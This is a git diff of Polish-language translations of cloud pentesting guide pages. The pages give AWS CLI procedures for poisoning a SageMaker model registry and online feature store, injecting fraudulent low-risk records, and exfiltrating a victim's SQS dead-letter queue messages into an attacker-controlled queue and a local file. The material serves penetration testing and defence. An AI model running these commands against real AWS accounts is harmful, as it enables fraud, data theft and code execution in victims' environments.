między kontami może zostać zwiększona przez zbyt liberalną politykę zasobu ModelPackageGroup. -### Wymagania -- IAM (minimum to poison an existing group): `sagemaker:CreateModelPackage` on the target ModelPackageGroup -- Opcjonalne (to create a group if one doesn’t exist): `sagemaker:CreateModelPackageGroup` -- S3: Dostęp do odczytu do wskazanego ModelDataUrl (lub hostować attacker-controlled artifacts) -- Target: Model Package Group, które downstream automation monitoruje pod kątem Approved versions +### Requirements +- IAM (minimum, aby zatruć istniejącą grupę): `sagemaker:CreateModelPackage` na docelowym ModelPackageGroup +- Opcjonalne (aby utworzyć grupę, jeśli jej nie ma): `sagemaker:CreateModelPackageGroup` +- S3: dostęp do odczytu do odwołanego ModelDataUrl (lub hostowanie artefaktów kontrolowanych przez atakującego) +- Cel: Model Package Group, który automatyzacja w kolejnych etapach obserwuje pod kątem Approved wersji -### Kroki +### Steps 1) Ustaw region i utwórz/znajdź docelowy Model Package Group ```bash REGION=${REGION:-us-east-1} @@ -145,7 +145,7 @@ aws s3 mb s3://$BUCKET --region $REGION head -c 1024 /tmp/model.tar.gz aws s3 cp /tmp/model.tar.gz s3://$BUCKET/model/model.tar.gz --region $REGION ``` -3) Zarejestruj złośliwą (tutaj nieszkodliwą) wersję Approved model package odwołującą się do publicznego obrazu AWS DLC +3) Zarejestruj złośliwą (tutaj nieszkodliwą) zatwierdzoną wersję pakietu modelu odwołującą się do publicznego obrazu AWS DLC ```bash IMG="683313688378.dkr.ecr.$REGION.amazonaws.com/sagemaker-scikit-learn:1.2-1-cpu-py3" cat > /tmp/inf.json << JSON @@ -162,18 +162,19 @@ cat > /tmp/inf.json << JSON JSON aws sagemaker create-model-package --region $REGION --model-package-group-name $MPG --model-approval-status Approved --inference-specification file:///tmp/inf.json ``` -4) Zweryfikuj, że nowa zatwierdzona wersja istnieje +4) Zweryfikuj, że nowa wersja Approved istnieje ```bash aws sagemaker list-model-packages --region $REGION --model-package-group-name $MPG --output table ``` ### Wpływ -- Zatrucie Model Registry przez Approved wersję, która odwołuje się do kodu kontrolowanego przez atakującego. Pipelines, które automatycznie wdrażają Approved modele, mogą pobrać i uruchomić obraz atakującego, co skutkuje wykonaniem kodu z uprawnieniami ról endpoint/training. -- Przy luźnej polityce zasobu ModelPackageGroup (PutModelPackageGroupPolicy) to nadużycie może zostać wywołane cross-account. +- Zatruj Model Registry za pomocą wersji Approved, która odwołuje się do kodu kontrolowanego przez atakującego. Pipelines, które automatycznie wdrażają modele Approved, mogą pobrać i uruchomić obraz atakującego, co daje wykonanie kodu w kontekście ról endpoint/training. +- Przy luźnej polityce zasobu ModelPackageGroup (PutModelPackageGroupPolicy) to nadużycie może być przeprowadzone pomiędzy kontami. ## Feature store poisoning -Abuse `sagemaker:PutRecord` na Feature Group z włączonym OnlineStore, aby nadpisać bieżące wartości cech wykorzystywane przez online inference. W połączeniu z `sagemaker:GetRecord`, atakujący może odczytać wrażliwe cechy. Nie wymaga to dostępu do modeli ani endpoints. +Wykorzystaj `sagemaker:PutRecord` na Feature Group z włączonym OnlineStore, aby nadpisać na żywo wartości cech wykorzystywane przez online inference. W połączeniu z `sagemaker:GetRecord`, atakujący może odczytać wrażliwe cechy. Do tego nie jest wymagany dostęp do modeli ani endpoints. {{#ref}} feature-store-poisoning.md {{/ref}} +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/feature-store-poisoning.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/feature-store-poisoning.md index f6a445806..27b70ae14 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/feature-store-poisoning.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/feature-store-poisoning.md @@ -1,17 +1,19 @@ # SageMaker Feature Store online store poisoning -Wykorzystaj `sagemaker:PutRecord` na Feature Group z włączonym OnlineStore, aby nadpisać aktualne wartości cech używane przez online inference. W połączeniu z `sagemaker:GetRecord`, atakujący może odczytać wrażliwe cechy i exfiltrate poufne dane ML. Nie wymaga to dostępu do modeli ani endpoints, przez co jest to bezpośredni atak na warstwę danych. +{{#include ../../../../banners/hacktricks-training.md}} + +Wykorzystaj `sagemaker:PutRecord` na Feature Group z włączonym OnlineStore, aby nadpisać na żywo wartości cech używane przez inference w czasie rzeczywistym. W połączeniu z `sagemaker:GetRecord`, atakujący może odczytać wrażliwe cechy. Nie wymaga to dostępu do modeli ani endpointów. ## Wymagania - Uprawnienia: `sagemaker:ListFeatureGroups`, `sagemaker:DescribeFeatureGroup`, `sagemaker:PutRecord`, `sagemaker:GetRecord` -- Cel: Feature Group z włączonym OnlineStore (zwykle backing real-time inference) -- Złożoność: **LOW** - Proste polecenia AWS CLI, bez potrzeby manipulacji modelami +- Cel: Feature Group z włączonym OnlineStore (zazwyczaj wspierający inference w czasie rzeczywistym) +- Złożoność: **LOW** - Proste polecenia AWS CLI, bez potrzeby manipulacji modelem ## Kroki ### Rozpoznanie -1) Wypisz Feature Group z włączonym OnlineStore +1) Wypisz Feature Groups z włączonym OnlineStore ```bash REGION=${REGION:-us-east-1} aws sagemaker list-feature-groups \ @@ -19,25 +21,25 @@ aws sagemaker list-feature-groups \ --query "FeatureGroupSummaries[?OnlineStoreConfig!=null].[FeatureGroupName,CreationTime]" \ --output table ``` -2) Opisz docelowy Feature Group, aby zrozumieć jego schemat +2) Opisz docelowy Feature Group, aby zrozumieć jego schemat. ```bash FG= aws sagemaker describe-feature-group \ --region $REGION \ --feature-group-name "$FG" ``` -Zwróć uwagę na `RecordIdentifierFeatureName`, `EventTimeFeatureName` oraz wszystkie definicje cech. Są one wymagane do tworzenia poprawnych rekordów. +Zwróć uwagę na `RecordIdentifierFeatureName`, `EventTimeFeatureName` oraz wszystkie definicje cech. Są one wymagane do utworzenia poprawnych rekordów. -### Scenariusz ataku 1: Data Poisoning (Overwrite Existing Records) +### Scenariusz Ataku 1: Data Poisoning (Overwrite Existing Records) -1) Odczytaj aktualny prawidłowy rekord +1) Odczytaj bieżący prawidłowy rekord ```bash aws sagemaker-featurestore-runtime get-record \ --region $REGION \ --feature-group-name "$FG" \ --record-identifier-value-as-string user-001 ``` -2) Wprowadź złośliwe wartości do rekordu, używając inline parametru `--record` +2) Zatruj rekord złośliwymi wartościami, używając parametru inline `--record` ```bash NOW=$(date -u +%Y-%m-%dT%H:%M:%SZ) @@ -54,18 +56,18 @@ aws sagemaker-featurestore-runtime put-record \ ]" \ --target-stores OnlineStore ``` -3) Zweryfikuj zatrute dane +3) Zweryfikuj poisoned data ```bash aws sagemaker-featurestore-runtime get-record \ --region $REGION \ --feature-group-name "$FG" \ --record-identifier-value-as-string user-001 ``` -**Wpływ**: ML models korzystające z tego feature będą teraz widzieć `risk_score=0.99` dla uczciwego użytkownika, co może zablokować jego transakcje lub usługi. +**Wpływ**: Modele ML wykorzystujące tę cechę zobaczą teraz `risk_score=0.99` dla prawidłowego użytkownika, co może zablokować jego transakcje lub usługi. -### Scenariusz ataku 2: Złośliwe wstrzyknięcie danych (Utworzenie fałszywych rekordów) +### Attack Scenario 2: Malicious Data Injection (Create Fraudulent Records) -Wstrzyknij całkowicie nowe rekordy ze zmanipulowanymi cechami, aby obejść mechanizmy bezpieczeństwa: +Wstrzyknij zupełnie nowe rekordy ze zmanipulowanymi cechami, aby ominąć mechanizmy kontroli bezpieczeństwa: ```bash NOW=$(date -u +%Y-%m-%dT%H:%M:%SZ) @@ -82,18 +84,18 @@ aws sagemaker-featurestore-runtime put-record \ ]" \ --target-stores OnlineStore ``` -Zweryfikuj wstrzyknięcie: +Zweryfikuj injection: ```bash aws sagemaker-featurestore-runtime get-record \ --region $REGION \ --feature-group-name "$FG" \ --record-identifier-value-as-string user-999 ``` -**Wpływ**: Atakujący tworzy fałszywą tożsamość z niskim wynikiem ryzyka (0.01), która może wykonywać wysokowartościowe transakcje oszukańcze bez wywoływania wykrywania oszustw. +**Wpływ**: Atakujący tworzy fałszywą tożsamość z niskim wynikiem ryzyka (0.01), która może dokonywać wysokokwotowych oszukańczych transakcji, nie uruchamiając systemu wykrywania oszustw. ### Scenariusz ataku 3: Eksfiltracja danych wrażliwych -Odczytaj wiele rekordów, aby wydobyć poufne cechy i zprofilować zachowanie modelu: +Odczytaj wiele rekordów, aby wydobyć poufne cechy i opracować profil zachowania modelu: ```bash # Exfiltrate data for known users for USER_ID in user-001 user-002 user-003 user-999; do @@ -104,11 +106,11 @@ aws sagemaker-featurestore-runtime get-record \ --record-identifier-value-as-string ${USER_ID} done ``` -**Wpływ**: Poufne cechy (wyniki ryzyka, wzorce transakcji, dane osobowe) ujawnione atakującemu. +**Wpływ**: Poufne cechy (oceny ryzyka, wzorce transakcji, dane osobowe) ujawnione atakującemu. -### Tworzenie Feature Group do testów/demonstracji (opcjonalne) +### Tworzenie testowego/demonstracyjnego Feature Group (opcjonalne) -Jeśli potrzebujesz utworzyć testową Feature Group: +Jeśli potrzebujesz utworzyć testowy Feature Group: ```bash REGION=${REGION:-us-east-1} FG=$(aws sagemaker list-feature-groups --region $REGION --query "FeatureGroupSummaries[?OnlineStoreConfig!=null]|[0].FeatureGroupName" --output text) @@ -141,20 +143,6 @@ fi echo "Feature Group ready: $FG" ``` -## Wykrywanie - -Monitoruj CloudTrail pod kątem podejrzanych wzorców: -- `PutRecord` zdarzenia od nietypowych podmiotów IAM lub adresów IP -- Wysoka częstotliwość wywołań `PutRecord` lub `GetRecord` -- `PutRecord` z anomalicznymi wartościami cech (np. risk_score poza normalnym zakresem) -- Masowe operacje `GetRecord` wskazujące na masową eksfiltrację -- Dostęp poza normalnymi godzinami pracy lub z nieoczekiwanych lokalizacji - -Wdróż wykrywanie anomalii: -- Walidacja wartości cech (np. risk_score musi mieścić się w zakresie 0.0-1.0) -- Analiza wzorców zapisu (częstotliwość, czas, tożsamość źródła) -- Wykrywanie dryfu danych (gwałtowne zmiany w rozkładach cech) - -## References +## Źródła - [AWS SageMaker Feature Store Documentation](https://docs.aws.amazon.com/sagemaker/latest/dg/feature-store.html) - [Feature Store Security Best Practices](https://docs.aws.amazon.com/sagemaker/latest/dg/feature-store-security.html) diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-dlq-redrive-exfiltration.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-dlq-redrive-exfiltration.md index 668a40572..eac9454f7 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-dlq-redrive-exfiltration.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-dlq-redrive-exfiltration.md @@ -1,53 +1,55 @@ # AWS – SQS DLQ Redrive Exfiltration via StartMessageMoveTask -## Description +{{#include ../../../banners/hacktricks-training.md}} -Wykorzystaj zadania przenoszenia wiadomości SQS do kradzieży wszystkich zgromadzonych wiadomości z Dead-Letter Queue (DLQ) ofiary, przekierowując je do kolejki kontrolowanej przez atakującego przy użyciu `sqs:StartMessageMoveTask`. Technika ta wykorzystuje legalną funkcję odzyskiwania wiadomości w AWS, aby eksfiltrację wrażliwych danych zgromadzonych w DLQ przez dłuższy czas. +## Opis -## What is a Dead-Letter Queue (DLQ)? +Wykorzystaj zadania przenoszenia wiadomości SQS, aby ukraść wszystkie zgromadzone wiadomości z Dead-Letter Queue (DLQ) ofiary, przekierowując je do kolejki kontrolowanej przez atakującego za pomocą `sqs:StartMessageMoveTask`. Ta technika wykorzystuje legalną funkcję odzyskiwania wiadomości AWS do eksfiltracji wrażliwych danych, które z czasem zgromadziły się w DLQ. -Kolejka Dead-Letter to specjalna kolejka SQS, do której automatycznie trafiają wiadomości, gdy główna aplikacja nie zdoła ich poprawnie przetworzyć. Te nieudane wiadomości często zawierają: -- Wrażliwe dane aplikacji, których nie udało się przetworzyć -- Szczegóły błędów i informacje do debugowania +## Co to jest Dead-Letter Queue (DLQ)? + +Dead-Letter Queue to specjalna kolejka SQS, do której wiadomości są automatycznie wysyłane, gdy nie uda się ich poprawnie przetworzyć przez główną aplikację. Te nieudane wiadomości często zawierają: +- Wrażliwe dane aplikacji, które nie mogły zostać przetworzone +- Szczegóły błędów i informacje pomocne w debugowaniu - Dane osobowe (PII) - Tokeny API, poświadczenia lub inne sekrety - Krytyczne dla biznesu dane transakcyjne -DLQ pełnią rolę „cmentarza” dla nieudanych wiadomości, co czyni je wartościowym celem, ponieważ z czasem gromadzą wrażliwe dane, których aplikacje nie obsłużyły. +DLQ działają jak "cmentarz" dla nieudanych wiadomości, przez co są cennym celem — gromadzą wrażliwe dane przez długi czas, których aplikacje nie były w stanie obsłużyć. -## Attack Scenario +## Scenariusz ataku -**Real-world example:** -1. **E-commerce application** przetwarza zamówienia klientów za pomocą SQS -2. **Niektóre zamówienia nie przechodzą** (problemy z płatnością, stanem magazynowym itp.) i trafiają do DLQ +**Przykład z prawdziwego świata:** +1. **Aplikacja e-commerce** przetwarza zamówienia klientów przez SQS +2. **Niektóre zamówienia się nie powiodły** (problemy z płatnością, brak towaru itp.) i trafiają do DLQ 3. **DLQ gromadzi** tygodnie/miesiące nieudanych zamówień zawierających dane klientów: `{"customerId": "12345", "creditCard": "4111-1111-1111-1111", "orderTotal": "$500"}` -4. **Atakujący uzyskuje dostęp** do poświadczeń AWS z uprawnieniami SQS +4. **Atakujący zdobywa dostęp** do poświadczeń AWS z uprawnieniami do SQS 5. **Atakujący odkrywa**, że DLQ zawiera tysiące nieudanych zamówień z wrażliwymi danymi -6. **Zamiast próbować uzyskać dostęp do pojedynczych wiadomości** (powolne i oczywiste), atakujący używa `StartMessageMoveTask`, aby masowo przenieść WSZYSTKIE wiadomości do swojej kolejki +6. **Zamiast próbować uzyskać dostęp do pojedynczych wiadomości** (wolne i oczywiste), atakujący używa `StartMessageMoveTask`, aby masowo przenieść WSZYSTKIE wiadomości do swojej kolejki 7. **Atakujący wydobywa** wszystkie historyczne wrażliwe dane w jednej operacji -## Requirements -- Kolejka źródłowa musi być skonfigurowana jako DLQ (odniesiona przez przynajmniej jedną politykę RedrivePolicy innej kolejki). -- Uprawnienia IAM (uruchamiane jako skompromitowany principal ofiary): +## Wymagania +- Kolejka źródłowa musi być skonfigurowana jako DLQ (referencja w przynajmniej jednej polityce RedrivePolicy innej kolejki). +- Uprawnienia IAM (działające jako skompromitowany podmiot ofiary): - Na DLQ (źródło): `sqs:StartMessageMoveTask`, `sqs:GetQueueAttributes`. -- Na kolejce docelowej: uprawnienie do dostarczania wiadomości (np. polityka kolejki zezwalająca `sqs:SendMessage` z principal ofiary). Dla celów w tym samym koncie zazwyczaj dozwolone domyślnie. -- Jeśli SSE-KMS jest włączone: na źródłowym CMK `kms:Decrypt`, a na docelowym CMK `kms:GenerateDataKey`, `kms:Encrypt`. +- Na kolejce docelowej: uprawnienie do dostarczania wiadomości (np. polityka kolejki pozwalająca na `sqs:SendMessage` z konta podmiotu ofiary). Dla kolejek w tym samym koncie zwykle jest to dozwolone domyślnie. +- Jeśli SSE-KMS jest włączone: na źródłowym CMK `kms:Decrypt`, oraz na docelowym CMK `kms:GenerateDataKey`, `kms:Encrypt`. -## Impact -Eksfiltracja wrażliwych payloadów zgromadzonych w DLQ (nieudane zdarzenia, PII, tokeny, payloady aplikacji) z dużą prędkością przy użyciu natywnych API SQS. Działa cross-account, jeśli polityka kolejki docelowej pozwala na `SendMessage` od principal ofiary. +## Wpływ +Eksfiltracja wrażliwych ładunków zgromadzonych w DLQ (nieudane zdarzenia, PII, tokeny, ładunki aplikacji) z dużą szybkością przy użyciu natywnych API SQS. Działa międzykontowo, jeśli polityka kolejki docelowej pozwala na `SendMessage` od podmiotu ofiary. -## How to Abuse +## Jak wykorzystać -- Zidentyfikuj ARN DLQ ofiary i upewnij się, że jest faktycznie referencjonowana jako DLQ przez jakąś kolejkę (dowolna kolejka). -- Utwórz lub wybierz kolejkę kontrolowaną przez atakującego i zdobądź jej ARN. -- Uruchom zadanie przenoszenia wiadomości z DLQ ofiary do twojej kolejki docelowej. -- Monitoruj postęp lub anuluj w razie potrzeby. +- Zidentyfikuj ARN DLQ ofiary i upewnij się, że jest faktycznie używana jako DLQ przez jakąś kolejkę (dowolna kolejka). +- Utwórz lub wybierz kontrolowaną przez atakującego kolejkę docelową i zdobądź jej ARN. +- Uruchom zadanie przenoszenia wiadomości z DLQ ofiary do swojej kolejki docelowej. +- Monitoruj postęp lub anuluj zadanie w razie potrzeby. ### CLI Example: Exfiltrating Customer Data from E-commerce DLQ -**Scenario**: Atakujący skompromitował poświadczenia AWS i odkrył, że aplikacja e-commerce używa SQS z DLQ zawierającą nieudane próby przetwarzania zamówień klientów. +**Scenariusz**: Atakujący przejął poświadczenia AWS i odkrył, że aplikacja e-commerce używa SQS z DLQ zawierającym nieudane próby przetwarzania zamówień klientów. -1) **Discover and examine the victim DLQ** +1) **Odkryj i przeanalizuj DLQ ofiary** ```bash # List queues to find DLQs (look for names containing 'dlq', 'dead', 'failed', etc.) aws sqs list-queues --queue-name-prefix dlq @@ -61,7 +63,7 @@ aws sqs get-queue-attributes --queue-url "$VICTIM_DLQ_URL" \ --attribute-names ApproximateNumberOfMessages # Output might show: "ApproximateNumberOfMessages": "1847" ``` -2) **Utwórz docelową kolejkę kontrolowaną przez atakującego** +2) **Utwórz kontrolowaną przez atakującego kolejkę docelową** ```bash # Create our exfiltration queue ATTACKER_Q_URL=$(aws sqs create-queue --queue-name hacker-exfil-$(date +%s) --query QueueUrl --output text) @@ -69,7 +71,7 @@ ATTACKER_Q_ARN=$(aws sqs get-queue-attributes --queue-url "$ATTACKER_Q_URL" --at echo "Created exfiltration queue: $ATTACKER_Q_ARN" ``` -3) **Wykonaj bulk message theft** +3) **Przeprowadź masowe wykradanie wiadomości** ```bash # Start moving ALL messages from victim DLQ to our queue # This operation will transfer thousands of failed orders containing customer data @@ -84,7 +86,7 @@ echo "Move task started: $TASK_RESPONSE" # Monitor the theft progress aws sqs list-message-move-tasks --source-arn "$SRC_ARN" --max-results 10 ``` -4) **Zgromadź skradzione wrażliwe dane** +4) **Zbierz skradzione wrażliwe dane** ```bash # Receive the exfiltrated customer data echo "Receiving stolen customer data..." @@ -114,15 +116,15 @@ echo "$MESSAGES" >> stolen_customer_data.json done ``` ### Uwagi dotyczące dostępu między kontami -- Docelowa kolejka musi mieć politykę zasobów zezwalającą principalowi ofiary na `sqs:SendMessage` (a jeśli używane, granty/uprawnienia KMS). +- Kolejka docelowa musi mieć politykę zasobu pozwalającą principalowi ofiary na `sqs:SendMessage` (a, jeśli używane, przyznania/uprawnienia KMS). ## Dlaczego ten atak jest skuteczny -1. **Wbudowana funkcja AWS**: Wykorzystuje wbudowane funkcje AWS, dzięki czemu trudno wykryć ją jako złośliwą -2. **Operacja hurtowa**: Przenosi tysiące wiadomości szybko, zamiast powolnego dostępu do pojedynczych wiadomości +1. **Wbudowana funkcja AWS**: Wykorzystuje wbudowaną funkcjonalność AWS, co utrudnia wykrycie jako działanie złośliwe +2. **Operacja masowa**: Przenosi tysiące wiadomości szybko zamiast powolnego dostępu pojedynczego 3. **Dane historyczne**: DLQs gromadzą wrażliwe dane przez tygodnie/miesiące -4. **Poza radarem**: Wiele organizacji nie monitoruje dokładnie dostępu do DLQ -5. **Możliwość między-kontowa**: Może exfiltrate do konta AWS atakującego, jeśli uprawnienia na to pozwalają +4. **Poza radarem**: Wiele organizacji nie monitoruje dostępu do DLQ uważnie +5. **Możliwość międzykontowa**: Może exfiltrate do własnego konta AWS atakującego, jeśli uprawnienia na to pozwalają ## Wykrywanie i zapobieganie @@ -143,8 +145,10 @@ Monitoruj CloudTrail pod kątem podejrzanych wywołań API `StartMessageMoveTask } ``` ### Zapobieganie -1. **Zasada najmniejszych uprawnień**: Ogranicz uprawnienia `sqs:StartMessageMoveTask` tylko do niezbędnych ról -2. **Monitorowanie DLQs**: Skonfiguruj alarmy CloudWatch dla nietypowej aktywności DLQs -3. **Polityki dostępu międzykontowego**: Dokładnie przeglądaj polityki kolejek SQS zezwalające na dostęp między kontami -4. **Szyfrowanie DLQs**: Użyj SSE-KMS z ograniczonymi politykami kluczy -5. **Regularne czyszczenie**: Nie pozwól, aby poufne dane gromadziły się w DLQs na czas nieokreślony +1. **Zasada najmniejszych uprawnień**: Ogranicz uprawnienia `sqs:StartMessageMoveTask` wyłącznie do niezbędnych ról +2. **Monitoruj DLQs**: Skonfiguruj alarmy CloudWatch dla nietypowej aktywności DLQ +3. **Polityki cross-account**: Dokładnie przejrzyj polityki kolejek SQS zezwalające na dostęp między kontami +4. **Szyfruj DLQs**: Używaj SSE-KMS z ograniczonymi politykami klucza +5. **Regularne czyszczenie**: Nie pozwól, by wrażliwe dane gromadziły się w DLQs bezterminowo + +{{#include ../../../banners/hacktricks-training.md}}